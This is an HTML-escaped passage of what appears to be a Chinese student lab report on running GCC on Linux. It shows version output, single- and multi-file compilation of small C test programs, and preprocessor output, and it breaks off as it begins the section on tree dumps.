&lt;p&gt;本实验主要的内容为在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Linux&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;平台上安装和运行工业界常用的编译器&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LLVM，编写简单的测试程序，使用编译器编译，并观察中间输出结果。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;实现的具体过程和步骤&quot;&gt;实现的具体过程和步骤&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;编译器安装&lt;&#x2F;li&gt;
&lt;li&gt;编写测试程序&lt;&#x2F;li&gt;
&lt;li&gt;运行编译器进行观测&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;GCC_运行结果分析&quot;&gt;GCC 运行结果分析&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;查看编译器的版本&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; gcc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --version&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;gcc&lt;&#x2F;span&gt;&lt;span&gt; (GCC) 9.2.0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;Copyright&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; ©&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2019&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; Free Software Foundation, Inc.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;本程序是自由软件；请参看源代码的版权声明。本软件没有任何担保；&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;包括没有适销性和某一专用目的下的适用性担保。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用编译器编译单个文件&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;gcc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; test.c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;默认输出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a.out，加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;-o&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以指定文件名&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用编译器编译链接多个文件&lt;&#x2F;p&gt;
&lt;p&gt;我把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;test.c&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拆成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;test1.c&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;test2.c&lt;&#x2F;p&gt;
&lt;p&gt;test2.c&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; a &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;test1.c&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;stdio.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; SECRET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 42&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;extern int&lt;&#x2F;span&gt;&lt;span&gt; a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    a &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; SECRET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;yes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里声明了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;变量，1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里拿来用了。虽然简单，但的确是两个源码为一个程序服务。&lt;&#x2F;p&gt;
&lt;p&gt;编译成目标文件，链接目标文件为一个可执行文件的命令&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;gcc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; test1.c test2.c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;gcc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; test1.o test2.o&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后生成的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a.out&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;运行正常，输出了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;yes&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看预处理结果：gcc -E hello.c -o hello.i&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;test.c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;built-in&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;命令行&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;31&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;命令行&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;stdc-predef.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;命令行&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;test.c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;stdio.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;27&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;stdio.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;bits&#x2F;libc-header-start.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;33&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;bits&#x2F;libc-header-start.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;features.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;450&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;features.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;sys&#x2F;cdefs.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;460&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;sys&#x2F;cdefs.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;bits&#x2F;wordsize.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;461&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;sys&#x2F;cdefs.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;bits&#x2F;long-double.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;462&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;sys&#x2F;cdefs.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;451&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;features.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;474&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;features.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;gnu&#x2F;stubs.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;gnu&#x2F;stubs.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;gnu&#x2F;stubs-64.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;gnu&#x2F;stubs.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;475&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;features.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;bits&#x2F;libc-header-start.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;28&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;include&#x2F;stdio.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2 3 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看来记录了文件名，读取了相关的头文件&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看语法分析树：gcc -fdump-tree-all hello.c&lt;&#x2F;p&gt;
&lt;p&gt;老师说推荐分析&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;.original、.gimple、.lower、.cfg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件，所以用如下命令：&lt;&#x2F;p&gt;
